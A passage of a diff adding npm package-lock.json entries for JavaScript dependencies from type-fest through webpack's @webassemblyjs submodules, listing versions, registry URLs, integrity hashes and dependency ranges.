+      "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==",
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/type-fest": {
+      "version": "0.20.2",
+      "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz",
+      "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==",
+      "peer": true,
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/type-is": {
+      "version": "1.6.18",
+      "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz",
+      "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==",
+      "dependencies": {
+        "media-typer": "0.3.0",
+        "mime-types": "~2.1.24"
+      },
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/typedarray-to-buffer": {
+      "version": "3.1.5",
+      "resolved": "https://registry.npmjs.org/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz",
+      "integrity": "sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==",
+      "dependencies": {
+        "is-typedarray": "^1.0.0"
+      }
+    },
+    "node_modules/typescript": {
+      "version": "4.9.5",
+      "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.9.5.tgz",
+      "integrity": "sha512-1FXk9E2Hm+QzZQ7z+McJiHL4NW1F2EzMu9Nq9i3zAaGqibafqYwCVU6WyWAuyQRRzOlxou8xZSyXLEN8oKj24g==",
+      "license": "Apache-2.0",
+      "peer": true,
+      "bin": {
+        "tsc": "bin/tsc",
+        "tsserver": "bin/tsserver"
+      },
+      "engines": {
+        "node": ">=4.2.0"
+      }
+    },
+    "node_modules/unbox-primitive": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.0.2.tgz",
+      "integrity": "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "has-bigints": "^1.0.2",
+        "has-symbols": "^1.0.3",
+        "which-boxed-primitive": "^1.0.2"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/uncontrollable": {
+      "version": "7.2.1",
+      "resolved": "https://registry.npm.taobao.org/uncontrollable/download/uncontrollable-7.2.1.tgz",
+      "integrity": "sha1-H6cLoMV6FNX3iQXVM89jkW3HVzg=",
+      "dependencies": {
+        "@babel/runtime": "^7.6.3",
+        "@types/react": ">=16.9.11",
+        "invariant": "^2.2.4",
+        "react-lifecycles-compat": "^3.0.4"
+      },
+      "peerDependencies": {
+        "react": ">=15.0.0"
+      }
+    },
+    "node_modules/unicode-canonical-property-names-ecmascript": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.0.tgz",
+      "integrity": "sha512-yY5PpDlfVIU5+y/BSCxAJRBIS1Zc2dDG3Ujq+sR0U+JjUevW2JhocOF+soROYDSaAezOzOKuyyixhD6mBknSmQ==",
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/unicode-match-property-ecmascript": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz",
+      "integrity": "sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==",
+      "dependencies": {
+        "unicode-canonical-property-names-ecmascript": "^2.0.0",
+        "unicode-property-aliases-ecmascript": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/unicode-match-property-value-ecmascript": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.0.0.tgz",
+      "integrity": "sha512-7Yhkc0Ye+t4PNYzOGKedDhXbYIBe1XEQYQxOPyhcXNMJ0WCABqqj6ckydd6pWRZTHV4GuCPKdBAUiMc60tsKVw==",
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/unicode-property-aliases-ecmascript": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.1.0.tgz",
+      "integrity": "sha512-6t3foTQI9qne+OZoVQB/8x8rk2k1eVy1gRXhV3oFQ5T6R1dqQ1xtin3XqSlx3+ATBkliTaR/hHyJBm+LVPNM8w==",
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/unique-string": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/unique-string/-/unique-string-2.0.0.tgz",
+      "integrity": "sha512-uNaeirEPvpZWSgzwsPGtU2zVSTrn/8L5q/IexZmH0eH6SA73CmAA5U4GwORTxQAZs95TAXLNqeLoPPNO5gZfWg==",
+      "dependencies": {
+        "crypto-random-string": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/universalify": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz",
+      "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==",
+      "engines": {
+        "node": ">= 10.0.0"
+      }
+    },
+    "node_modules/unpipe": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz",
+      "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==",
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/unquote": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/unquote/-/unquote-1.1.1.tgz",
+      "integrity": "sha512-vRCqFv6UhXpWxZPyGDh/F3ZpNv8/qo7w6iufLpQg9aKnQ71qM4B5KiI7Mia9COcjEhrO9LueHpMYjYzsWH3OIg=="
+    },
+    "node_modules/upath": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz",
+      "integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==",
+      "engines": {
+        "node": ">=4",
+        "yarn": "*"
+      }
+    },
+    "node_modules/update-browserslist-db": {
+      "version": "1.0.9",
+      "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.9.tgz",
+      "integrity": "sha512-/xsqn21EGVdXI3EXSum1Yckj3ZVZugqyOZQ/CxYPBD/R+ko9NSUScf8tFF4dOKY+2pvSSJA/S+5B8s4Zr4kyvg==",
+      "funding": [
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/browserslist"
+        },
+        {
+          "type": "tidelift",
+          "url": "https://tidelift.com/funding/github/npm/browserslist"
+        }
+      ],
+      "dependencies": {
+        "escalade": "^3.1.1",
+        "picocolors": "^1.0.0"
+      },
+      "bin": {
+        "browserslist-lint": "cli.js"
+      },
+      "peerDependencies": {
+        "browserslist": ">= 4.21.0"
+      }
+    },
+    "node_modules/uri-js": {
+      "version": "4.4.1",
+      "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz",
+      "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==",
+      "license": "BSD-2-Clause",
+      "dependencies": {
+        "punycode": "^2.1.0"
+      }
+    },
+    "node_modules/url-parse": {
+      "version": "1.5.10",
+      "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz",
+      "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==",
+      "dependencies": {
+        "querystringify": "^2.1.1",
+        "requires-port": "^1.0.0"
+      }
+    },
+    "node_modules/util-deprecate": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
+      "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw=="
+    },
+    "node_modules/util.promisify": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/util.promisify/-/util.promisify-1.0.1.tgz",
+      "integrity": "sha512-g9JpC/3He3bm38zsLupWryXHoEcS22YHthuPQSJdMy6KNrzIRzWqcsHzD/WUnqe45whVou4VIsPew37DoXWNrA==",
+      "dependencies": {
+        "define-properties": "^1.1.3",
+        "es-abstract": "^1.17.2",
+        "has-symbols": "^1.0.1",
+        "object.getownpropertydescriptors": "^2.1.0"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/utila": {
+      "version": "0.4.0",
+      "resolved": "https://registry.npmjs.org/utila/-/utila-0.4.0.tgz",
+      "integrity": "sha512-Z0DbgELS9/L/75wZbro8xAnT50pBVFQZ+hUEueGDU5FN51YSCYM+jdxsfCiHjwNP/4LCDD0i/graKpeBnOXKRA=="
+    },
+    "node_modules/utils-merge": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz",
+      "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==",
+      "engines": {
+        "node": ">= 0.4.0"
+      }
+    },
+    "node_modules/uuid": {
+      "version": "8.3.2",
+      "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
+      "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==",
+      "bin": {
+        "uuid": "dist/bin/uuid"
+      }
+    },
+    "node_modules/v8-to-istanbul": {
+      "version": "8.1.1",
+      "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-8.1.1.tgz",
+      "integrity": "sha512-FGtKtv3xIpR6BYhvgH8MI/y78oT7d8Au3ww4QIxymrCtZEh5b8gCw2siywE+puhEmuWKDtmfrvF5UlB298ut3w==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.1",
+        "convert-source-map": "^1.6.0",
+        "source-map": "^0.7.3"
+      },
+      "engines": {
+        "node": ">=10.12.0"
+      }
+    },
+    "node_modules/v8-to-istanbul/node_modules/source-map": {
+      "version": "0.7.4",
+      "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.4.tgz",
+      "integrity": "sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==",
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/vary": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz",
+      "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==",
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/w3c-hr-time": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/w3c-hr-time/-/w3c-hr-time-1.0.2.tgz",
+      "integrity": "sha512-z8P5DvDNjKDoFIHK7q8r8lackT6l+jo/Ye3HOle7l9nICP9lf1Ci25fy9vHd0JOWewkIFzXIEig3TdKT7JQ5fQ==",
+      "deprecated": "Use your platform's native performance.now() and performance.timeOrigin.",
+      "dependencies": {
+        "browser-process-hrtime": "^1.0.0"
+      }
+    },
+    "node_modules/w3c-xmlserializer": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-2.0.0.tgz",
+      "integrity": "sha512-4tzD0mF8iSiMiNs30BiLO3EpfGLZUT2MSX/G+o7ZywDzliWQ3OPtTZ0PTC3B3ca1UAf4cJMHB+2Bf56EriJuRA==",
+      "dependencies": {
+        "xml-name-validator": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/walker": {
+      "version": "1.0.8",
+      "resolved": "https://registry.npmjs.org/walker/-/walker-1.0.8.tgz",
+      "integrity": "sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ==",
+      "dependencies": {
+        "makeerror": "1.0.12"
+      }
+    },
+    "node_modules/warning": {
+      "version": "4.0.3",
+      "resolved": "https://registry.npm.taobao.org/warning/download/warning-4.0.3.tgz",
+      "integrity": "sha1-Fungd+uKhtavfWSqHgX9hbRnjKM=",
+      "dependencies": {
+        "loose-envify": "^1.0.0"
+      }
+    },
+    "node_modules/wbuf": {
+      "version": "1.7.3",
+      "resolved": "https://registry.npmjs.org/wbuf/-/wbuf-1.7.3.tgz",
+      "integrity": "sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA==",
+      "dependencies": {
+        "minimalistic-assert": "^1.0.0"
+      }
+    },
+    "node_modules/web-vitals": {
+      "version": "1.1.2",
+      "resolved": "https://registry.nlark.com/web-vitals/download/web-vitals-1.1.2.tgz",
+      "integrity": "sha1-BlNTCBaJhgliOaqEcW5otMaubRw="
+    },
+    "node_modules/webidl-conversions": {
+      "version": "6.1.0",
+      "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-6.1.0.tgz",
+      "integrity": "sha512-qBIvFLGiBpLjfwmYAaHPXsn+ho5xZnGvyGvsarywGNc8VyQJUMHJ8OBKGGrPER0okBeMDaan4mNBlgBROxuI8w==",
+      "engines": {
+        "node": ">=10.4"
+      }
+    },
+    "node_modules/webpack": {
+      "version": "5.94.0",
+      "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.94.0.tgz",
+      "integrity": "sha512-KcsGn50VT+06JH/iunZJedYGUJS5FGjow8wb9c0v5n1Om8O1g4L6LjtfxwlXIATopoQu+vOXXa7gYisWxCoPyg==",
+      "peer": true,
+      "dependencies": {
+        "@types/estree": "^1.0.5",
+        "@webassemblyjs/ast": "^1.12.1",
+        "@webassemblyjs/wasm-edit": "^1.12.1",
+        "@webassemblyjs/wasm-parser": "^1.12.1",
+        "acorn": "^8.7.1",
+        "acorn-import-attributes": "^1.9.5",
+        "browserslist": "^4.21.10",
+        "chrome-trace-event": "^1.0.2",
+        "enhanced-resolve": "^5.17.1",
+        "es-module-lexer": "^1.2.1",
+        "eslint-scope": "5.1.1",
+        "events": "^3.2.0",
+        "glob-to-regexp": "^0.4.1",
+        "graceful-fs": "^4.2.11",
+        "json-parse-even-better-errors": "^2.3.1",
+        "loader-runner": "^4.2.0",
+        "mime-types": "^2.1.27",
+        "neo-async": "^2.6.2",
+        "schema-utils": "^3.2.0",
+        "tapable": "^2.1.1",
+        "terser-webpack-plugin": "^5.3.10",
+        "watchpack": "^2.4.1",
+        "webpack-sources": "^3.2.3"
+      },
+      "bin": {
+        "webpack": "bin/webpack.js"
+      },
+      "engines": {
+        "node": ">=10.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      },
+      "peerDependenciesMeta": {
+        "webpack-cli": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/webpack-dev-middleware": {
+      "version": "5.3.4",
+      "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-5.3.4.tgz",
+      "integrity": "sha512-BVdTqhhs+0IfoeAf7EoH5WE+exCmqGerHfDM0IL096Px60Tq2Mn9MAbnaGUe6HiMa41KMCYF19gyzZmBcq/o4Q==",
+      "dependencies": {
+        "colorette": "^2.0.10",
+        "memfs": "^3.4.3",
+        "mime-types": "^2.1.31",
+        "range-parser": "^1.2.1",
+        "schema-utils": "^4.0.0"
+      },
+      "engines": {
+        "node": ">= 12.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      },
+      "peerDependencies": {
+        "webpack": "^4.0.0 || ^5.0.0"
+      }
+    },
+    "node_modules/webpack-dev-middleware/node_modules/ajv-keywords": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz",
+      "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==",
+      "dependencies": {
+        "fast-deep-equal": "^3.1.3"
+      },
+      "peerDependencies": {
+        "ajv": "^8.8.2"
+      }
+    },
+    "node_modules/webpack-dev-middleware/node_modules/schema-utils": {
+      "version": "4.2.0",
+      "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.2.0.tgz",
+      "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==",
+      "dependencies": {
+        "@types/json-schema": "^7.0.9",
+        "ajv": "^8.9.0",
+        "ajv-formats": "^2.1.1",
+        "ajv-keywords": "^5.1.0"
+      },
+      "engines": {
+        "node": ">= 12.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      }
+    },
+    "node_modules/webpack-dev-server": {
+      "version": "4.11.1",
+      "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-4.11.1.tgz",
+      "integrity": "sha512-lILVz9tAUy1zGFwieuaQtYiadImb5M3d+H+L1zDYalYoDl0cksAB1UNyuE5MMWJrG6zR1tXkCP2fitl7yoUJiw==",
+      "peer": true,
+      "dependencies": {
+        "@types/bonjour": "^3.5.9",
+        "@types/connect-history-api-fallback": "^1.3.5",
+        "@types/express": "^4.17.13",
+        "@types/serve-index": "^1.9.1",
+        "@types/serve-static": "^1.13.10",
+        "@types/sockjs": "^0.3.33",
+        "@types/ws": "^8.5.1",
+        "ansi-html-community": "^0.0.8",
+        "bonjour-service": "^1.0.11",
+        "chokidar": "^3.5.3",
+        "colorette": "^2.0.10",
+        "compression": "^1.7.4",
+        "connect-history-api-fallback": "^2.0.0",
+        "default-gateway": "^6.0.3",
+        "express": "^4.17.3",
+        "graceful-fs": "^4.2.6",
+        "html-entities": "^2.3.2",
+        "http-proxy-middleware": "^2.0.3",
+        "ipaddr.js": "^2.0.1",
+        "open": "^8.0.9",
+        "p-retry": "^4.5.0",
+        "rimraf": "^3.0.2",
+        "schema-utils": "^4.0.0",
+        "selfsigned": "^2.1.1",
+        "serve-index": "^1.9.1",
+        "sockjs": "^0.3.24",
+        "spdy": "^4.0.2",
+        "webpack-dev-middleware": "^5.3.1",
+        "ws": "^8.4.2"
+      },
+      "bin": {
+        "webpack-dev-server": "bin/webpack-dev-server.js"
+      },
+      "engines": {
+        "node": ">= 12.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      },
+      "peerDependencies": {
+        "webpack": "^4.37.0 || ^5.0.0"
+      },
+      "peerDependenciesMeta": {
+        "webpack-cli": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/webpack-dev-server/node_modules/ajv-keywords": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz",
+      "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==",
+      "dependencies": {
+        "fast-deep-equal": "^3.1.3"
+      },
+      "peerDependencies": {
+        "ajv": "^8.8.2"
+      }
+    },
+    "node_modules/webpack-dev-server/node_modules/schema-utils": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz",
+      "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==",
+      "dependencies": {
+        "@types/json-schema": "^7.0.9",
+        "ajv": "^8.8.0",
+        "ajv-formats": "^2.1.1",
+        "ajv-keywords": "^5.0.0"
+      },
+      "engines": {
+        "node": ">= 12.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      }
+    },
+    "node_modules/webpack-dev-server/node_modules/ws": {
+      "version": "8.9.0",
+      "resolved": "https://registry.npmjs.org/ws/-/ws-8.9.0.tgz",
+      "integrity": "sha512-Ja7nszREasGaYUYCI2k4lCKIRTt+y7XuqVoHR44YpI49TtryyqbqvDMn5eqfW7e6HzTukDRIsXqzVHScqRcafg==",
+      "engines": {
+        "node": ">=10.0.0"
+      },
+      "peerDependencies": {
+        "bufferutil": "^4.0.1",
+        "utf-8-validate": "^5.0.2"
+      },
+      "peerDependenciesMeta": {
+        "bufferutil": {
+          "optional": true
+        },
+        "utf-8-validate": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/webpack-manifest-plugin": {
+      "version": "4.1.1",
+      "resolved": "https://registry.npmjs.org/webpack-manifest-plugin/-/webpack-manifest-plugin-4.1.1.tgz",
+      "integrity": "sha512-YXUAwxtfKIJIKkhg03MKuiFAD72PlrqCiwdwO4VEXdRO5V0ORCNwaOwAZawPZalCbmH9kBDmXnNeQOw+BIEiow==",
+      "dependencies": {
+        "tapable": "^2.0.0",
+        "webpack-sources": "^2.2.0"
+      },
+      "engines": {
+        "node": ">=12.22.0"
+      },
+      "peerDependencies": {
+        "webpack": "^4.44.2 || ^5.47.0"
+      }
+    },
+    "node_modules/webpack-manifest-plugin/node_modules/webpack-sources": {
+      "version": "2.3.1",
+      "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-2.3.1.tgz",
+      "integrity": "sha512-y9EI9AO42JjEcrTJFOYmVywVZdKVUfOvDUPsJea5GIr1JOEGFVqwlY2K098fFoIjOkDzHn2AjRvM8dsBZu+gCA==",
+      "dependencies": {
+        "source-list-map": "^2.0.1",
+        "source-map": "^0.6.1"
+      },
+      "engines": {
+        "node": ">=10.13.0"
+      }
+    },
+    "node_modules/webpack-sources": {
+      "version": "3.2.3",
+      "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-3.2.3.tgz",
+      "integrity": "sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w==",
+      "engines": {
+        "node": ">=10.13.0"
+      }
+    },
+    "node_modules/webpack/node_modules/@jridgewell/gen-mapping": {
+      "version": "0.3.5",
+      "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.5.tgz",
+      "integrity": "sha512-IzL8ZoEDIBRWEzlCcRhOaCupYyN5gdIK+Q6fbFdPDg6HqX6jpkItn7DFIpW9LQzXG6Df9sA7+OKnq0qlz/GaQg==",
+      "dependencies": {
+        "@jridgewell/set-array": "^1.2.1",
+        "@jridgewell/sourcemap-codec": "^1.4.10",
+        "@jridgewell/trace-mapping": "^0.3.24"
+      },
+      "engines": {
+        "node": ">=6.0.0"
+      }
+    },
+    "node_modules/webpack/node_modules/@jridgewell/set-array": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.2.1.tgz",
+      "integrity": "sha512-R8gLRTZeyp03ymzP/6Lil/28tGeGEzhx1q2k703KGWRAI1VdvPIXdG70VJc2pAMw3NA6JKL5hhFu1sJX0Mnn/A==",
+      "engines": {
+        "node": ">=6.0.0"
+      }
+    },
+    "node_modules/webpack/node_modules/@jridgewell/source-map": {
+      "version": "0.3.6",
+      "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.6.tgz",
+      "integrity": "sha512-1ZJTZebgqllO79ue2bm3rIGud/bOe0pP5BjSRCRxxYkEZS8STV7zN84UBbiYu7jy+eCKSnVIUgoWWE/tt+shMQ==",
+      "dependencies": {
+        "@jridgewell/gen-mapping": "^0.3.5",
+        "@jridgewell/trace-mapping": "^0.3.25"
+      }
+    },
+    "node_modules/webpack/node_modules/@jridgewell/trace-mapping": {
+      "version": "0.3.25",
+      "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.25.tgz",
+      "integrity": "sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==",
+      "dependencies": {
+        "@jridgewell/resolve-uri": "^3.1.0",
+        "@jridgewell/sourcemap-codec": "^1.4.14"
+      }
+    },
+    "node_modules/webpack/node_modules/@types/estree": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.5.tgz",
+      "integrity": "sha512-/kYRxGDLWzHOB7q+wtSUQlFrtcdUccpfy+X+9iMBpHK8QLLhx2wIPYuS5DYtR9Wa/YlZAbIovy7qVdB1Aq6Lyw=="
+    },
+    "node_modules/webpack/node_modules/@webassemblyjs/ast": {
+      "version": "1.12.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.12.1.tgz",
+      "integrity": "sha512-EKfMUOPRRUTy5UII4qJDGPpqfwjOmZ5jeGFwid9mnoqIFK+e0vqoi1qH56JpmZSzEL53jKnNzScdmftJyG5xWg==",
+      "dependencies": {
+        "@webassemblyjs/helper-numbers": "1.11.6",
+        "@webassemblyjs/helper-wasm-bytecode": "1.11.6"
+      }
+    },
+    "node_modules/webpack/node_modules/@webassemblyjs/floating-point-hex-parser": {
+      "version": "1.11.6",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.6.tgz",
+      "integrity": "sha512-ejAj9hfRJ2XMsNHk/v6Fu2dGS+i4UaXBXGemOfQ/JfQ6mdQg/WXtwleQRLLS4OvfDhv8rYnVwH27YJLMyYsxhw=="
+    },
+    "node_modules/webpack/node_modules/@webassemblyjs/helper-api-error": {
+      "version": "1.11.6",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.6.tgz",
+      "integrity": "sha512-o0YkoP4pVu4rN8aTJgAyj9hC2Sv5UlkzCHhxqWj8butaLvnpdc2jOwh4ewE6CX0txSfLn/UYaV/pheS2Txg//Q=="
+    },
+    "node_modules/webpack/node_modules/@webassemblyjs/helper-buffer": {
+      "version": "1.12.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.12.1.tgz",
+      "integrity": "sha512-nzJwQw99DNDKr9BVCOZcLuJJUlqkJh+kVzVl6Fmq/tI5ZtEyWT1KZMyOXltXLZJmDtvLCDgwsyrkohEtopTXCw=="
+    },
+    "node_modules/webpack/node_modules/@webassemblyjs/helper-numbers": {
+      "version": "1.11.6",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.6.tgz",
+      "integrity": "sha512-vUIhZ8LZoIWHBohiEObxVm6hwP034jwmc9kuq5GdHZH0wiLVLIPcMCdpJzG4C11cHoQ25TFIQj9kaVADVX7N3g==",
+      "dependencies": {
+        "@webassemblyjs/floating-point-hex-parser": "1.11.6",
+        "@webassemblyjs/helper-api-error": "1.11.6",
+        "@xtuc/long": "4.2.2"
+      }
+    },
+    "node_modules/webpack/node_modules/@webassemblyjs/helper-wasm-bytecode": {
+      "version": "1.11.6",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.6.tgz",
+      "integrity": "sha512-sFFHKwcmBprO9e7Icf0+gddyWYDViL8bpPjJJl0WHxCdETktXdmtWLGVzoHbqUcY4Be1LkNfwTmXOJUFZYSJdA=="
+    },
+    "node_modules/webpack/node_modules/@webassemblyjs/helper-wasm-section": {
+      "version": "1.12.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.12.1.tgz",
+      "integrity": "sha512-Jif4vfB6FJlUlSbgEMHUyk1j234GTNG9dBJ4XJdOySoj518Xj0oGsNi59cUQF4RRMS9ouBUxDDdyBVfPTypa5g==",
+      "dependencies": {
+        "@webassemblyjs/ast": "1.12.1",
+        "@webassemblyjs/helper-buffer": "1.12.1",
